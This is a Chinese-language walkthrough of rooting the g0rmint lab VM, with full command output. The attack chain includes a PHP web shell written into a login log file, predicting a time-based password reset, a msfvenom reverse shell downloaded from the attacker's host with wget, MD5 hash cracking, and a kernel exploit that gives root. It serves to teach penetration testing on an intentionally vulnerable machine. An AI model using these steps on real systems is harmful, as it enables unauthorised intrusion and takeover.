信息收集

首先扫描同网段的主机

root@loong716:~# nmap -sP 192.168.177.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-14 23:01 CST
Nmap scan report for 192.168.177.1
Host is up (0.00020s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.177.2
Host is up (0.00027s latency).
MAC Address: 00:50:56:F0:15:32 (VMware)
Nmap scan report for 192.168.177.153
Host is up (0.00030s latency).
MAC Address: 00:0C:29:BA:BB:10 (VMware)
Nmap scan report for 192.168.177.254
Host is up (0.00034s latency).
MAC Address: 00:50:56:FB:A8:47 (VMware)
Nmap scan report for 192.168.177.154
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 4.09 seconds

192.168.177.153即为我们的靶机IP,再扫描一下靶机开启的端口和对应的服务

root@loong716:~# nmap -p 1-65535 192.168.177.153
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-14 23:03 CST
Nmap scan report for 192.168.177.153
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:BA:BB:10 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.32 seconds

发现只开启了ssh(22)和http(80)两个端口,我们先去访问一下80端口

结果竟然是404 NOT FOUND,用nmap扫一下有没有其他目录或文件

root@loong716:~# nmap -Pn -n -p 80 --script http-enum 192.168.177.153
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-14 23:09 CST
Nmap scan report for 192.168.177.153
Host is up (0.00038s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:BA:BB:10 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

在网站根目录下发现了robots.txt,查看内容

/* Too easy? Lets see */

Disallow: /g0rmint/*

那么我们访问/g0rmint/目录,访问后直接跳转到http://192.168.177.153/g0rmint/login.php,这是一个登录界面

先对这个fuzz一波,发现username中引号会被转义掉,而且提交没有任何回显或报错

右键查看一下源代码,发现其中一行html代码

<meta name="backup-directory" content="s3cretbackupdirect0ry">

从name来看这应该是网站备份文件目录,访问一下http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/,仍然是404。。那么我们就再扫一下目录

root@loong716:~# dirb http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jun 14 23:18:16 2019
URL_BASE: http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/ ----
+ http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/folder_new (CODE:502|SIZE:72)
+ http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/info.php (CODE:200|SIZE:11)
+ http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/jsp-examples (CODE:502|SIZE:72)
+ http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/preserve (CODE:502|SIZE:72)
+ http://192.168.177.153/g0rmint/s3cretbackupdirect0ry/work (CODE:502|SIZE:72) 
                                                                               
-----------------
END_TIME: Fri Jun 14 23:18:46 2019
DOWNLOADED: 4612 - FOUND: 5

返回200的只有一个info.php,查看发现提示了backup.zip,我们访问并下载它,解压后得到网站的源码和数据库文件(db.sql)

目前为止我们收集到靶机开启了22和80端口,80端口上有一个后台登录界面(http://192.168.177.153/g0rmint/login.php),并且还拿到了网站的备份源码和数据库文件


源码审计

到这里时我的第一反应是先去看数据库文件,看是否有数据库的用户名和密码,或者后台管理员的用户名和密码

果然在db.sql中有表中的用户名、邮箱和密码hash

INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES
(1, 'demo', 'demo@example.com', 'fe01ce2a7fbac8fafaed7c982a04e229');

hash拿去MD5解密后为demo,于是我们就用邮箱和密码去登录,结果却没有反应

再拿到密码重置那里试一下,回显的是找不到用户:

User not found in our database

想到邮箱是example.com,demo在英语中也是样本和演示的意思,这可能不是真正的管理员的邮箱和账号

还是先去审计一下源码吧

源码中比较重要的主要是以下几个:

login.php

?php
include_once('config.php');
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $pass = md5($_POST['pass']);

    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND pass = :pass");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":pass", $pass);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        session_start();
        $_SESSION['username'] = $result['username'];
        header('Location: index.php');
        exit();
    } else {
        $log = $email;
        $reason = "Failed login attempt detected with email: ";
        addlog($log, $reason);
    }
}
?>

reset.php

<?php
include_once('config.php');
$message = "";
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $user = $_POST['user'];
    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":user", $user);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
        $password = md5($password);
        $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
        $sql->bindParam(":pass", $password);
        $row = $sql->execute();
        $message = "A new password has been sent to your email";
    } else {
        $message = "User not found in our database";
    }
}
?>

config.php

?php

$dsn = 'mysql:dbname=g0rmint;host=localhost';
$pdo = new PDO($dsn, 'root', '');
$rooturl = "http://" . $_SERVER['SERVER_NAME'] . "/g0rmint/";
if (isset($_POST)) {
    foreach ($_POST as $key => $value) {
        if (!is_array($value)) {
            $value = addslashes($value);
        }

        $_POST[$key] = $value;
    }
}

function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if (file_exists($myFile)) {
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    } else {
        $fh = fopen($myFile, 'w');
        fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
        fclose($fh);
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    }
    fclose($fh);
}

dommy.php

<?php

include_once('../config.php');
session_start();
if (!isset($_SESSION['username'])) {
    header('Location: ../login.php');
    exit;
}
?>

这些源码里主要有两个地方可以利用:

  1. 登录错误时会在/s3cr3t-dir3ct0ry-f0r-l0gs/目录下生成一个日志文件,里面记录着登录失败时的邮箱,而这个日志文件恰好是php文件,所以我们可以在登录时向日志中写入一句话马,但日志文件是需要登录成功之后才能访问(要有用户的session)
  2. 密码重置时并不是要求用户重新设置密码,而是在服务器端根据时间戳来生成一个新密码,而login.php右下角也显示着最后一次更改密码或登录的时间,因此我们可以根据源代码来构造出新的密码

漏洞利用getshell

我们现在需要找到管理员的邮箱和用户名去重置他的密码,最终在sublime中检索含有email的文件时,找到了作者的名字和邮箱:

/root/下载/backup/css/style.css:
    1  /*
    2  * Author: noman
    3: * Author Email: w3bdrill3r@gmail.com
    4  * Version: 1.0.0
    5  * g0rmint: Bik gai hai

于是我们在重置界面重置noman的密码,并记录下右下角当前的时间

Saturday 15th of June 2019 02:49:52 AM

我们在本地的phpstudy中按照网站源码中的方式来生成新的密码

<?php
$password = substr(hash('sha1', "Saturday 15th of June 2019 02:49:52 AM"), 0, 20);
echo $password;
?>

得到重置后的密码为918445cebc46d7855fb7,成功登录后台

这个后台基本没有什么功能,也没有什么可以利用的地方,那么下来我们就是退出然后向日志中写一句话小马了

一开始我的思路是写一个能用菜刀连接的一句话,但是登录时把引号转义掉了,而且如果含有引号的话日志文件也会无法访问

因此我们就先写一个

<?php echo system($_GET[a]); ?>

登录后,访问http://192.168.177.153/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2019-06-15.php

先在地址栏传入a=pwd尝试一下,得到:

Failed login attempt detected with email: /var/www/html/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs /var/www/html/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs

然后我们在kali中用msfvenom生成一个shell文件,放在我们主机(192.168.110.1)的phpstudy的网站根目录下

root@loong716:/# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.177.154 LPORT=4444 -f elf > /shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

然后我们在日志文件中执行a=wget http://192.168.110.1/shell,将shell文件下载到当前目录,然后我们再执行a=ls确认一下是否下载成功,得到结果

Failed login attempt detected with email: 2019-06-14.php shell shell

然后我们在msf中使用exploit/multi/handler模块,配置payload和option后,在日志文件处执行a=./shell,kali就成功拿到了目标服务器的会话

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.177.154:4444 
[*] Sending stage (985320 bytes) to 192.168.177.153
[*] Meterpreter session 1 opened (192.168.177.154:4444 -> 192.168.177.153:39496) at 2019-06-15 11:16:50 +0800

meterpreter > shell
Process 1086 created.
Channel 1 created.
whoami
www-data

查看当前shell用户为www-data


提权

首先查看一下服务器的内核版本和发行版本:

uname
Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linu
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial

我们到msf中找一下有没有对应的提权脚本

msf5 > searchsploit ubuntu 16.04
[*] exec: searchsploit ubuntu 16.04

--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16. | exploits/linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spo | exploits/linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.0 | exploits/linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest  | exploits/linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubu | exploits/linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14. | exploits/linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Referenc | exploits/linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / Ce | exploits/linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF | exploits/linux/local/40759.rb
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x6 | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'd | exploits/linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) -  | exploits/linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak | exploits/linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 /  | exploits/linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04 | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04  | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 ( | exploits/linux/local/43418.c
--------------------------------------- ----------------------------------------
因为我们内核版本是4.4.0-87,所以选择Linux Kernel < 4.4.0-116 (Ubuntu 16.04 exploits/linux/local/44298.c这个

目标服务器上是没有gcc和cc的,那我们在kali中编译为exp,还是放到我本机的网站根目录下

可以看到/tmp是可读写执行的,我们把exp下载到这目录下,在shell中执行wget http://192.168.110.1/exp,但执行时竟然失败了。。可能是meterpreter的会话这里有问题

cd /tmp
wget http://192.168.110.1/exp
--2019-06-14 20:40:56--  http://192.168.110.1/exp
Connecting to 192.168.110.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17880 (17K)
Saving to: 'exp'

     0K .......... .......                                    100%  371M=0s

2019-06-14 20:40:56 (371 MB/s) - 'exp' saved [17880/17880]

chmod 777 exp
./exp
error: Invalid argument

那我们换个思路,服务器还开启了ssh的22端口,我们可以看一下有没有文件内有noman的密码,可以用他的密码尝试ssh

我们在/var/www下又发现了一个backup.zip,www这个目录是不可写的,/var/tmp这个目录是可读写执行的,我们把zip解压到这个目录下

unzip /var/www/backup.zip -d /var/tmp

在其中的db.sql中找到了noman的密码hash

INSERT INTO `g0rmint` (`id`, `username`, `email`, `pass`) VALUES
(1, 'noman', 'w3bdrill3r@gmail.com', 'ea60b43e48f3c2de55e4fc89b3da53dc');

拿去解密后得到密码为:tayyab123

尝试ssh连接,成功:

root@loong716:~# ssh g0rmint@192.168.177.153
g0rmint@192.168.177.153's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
New release '18.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Jun 14 07:56:21 2019 from 192.168.177.154
g0rmint@ubuntu:~$ whoami
g0rmint

此时我们可以到我们刚才存放提权脚本(/tmp/exp)的地方,执行脚本,即可获得root权限

查看/root下flag.txt,完成

g0rmint@ubuntu:~$ /tmp/exp
task_struct = ffff880035ff5400
uidptr = ffff880031ead384
spawning root shell
root@ubuntu:~# cd /root
root@ubuntu:/root# cat flag.txt
Congrats you did it :)
Give me feedback @nomanriffat

另外,在ssh登录上去之后,使用sudo -i,再输入密码后,也可以拿到root权限

g0rmint@ubuntu:~$ sudo -i
[sudo] password for g0rmint: 
root@ubuntu:~#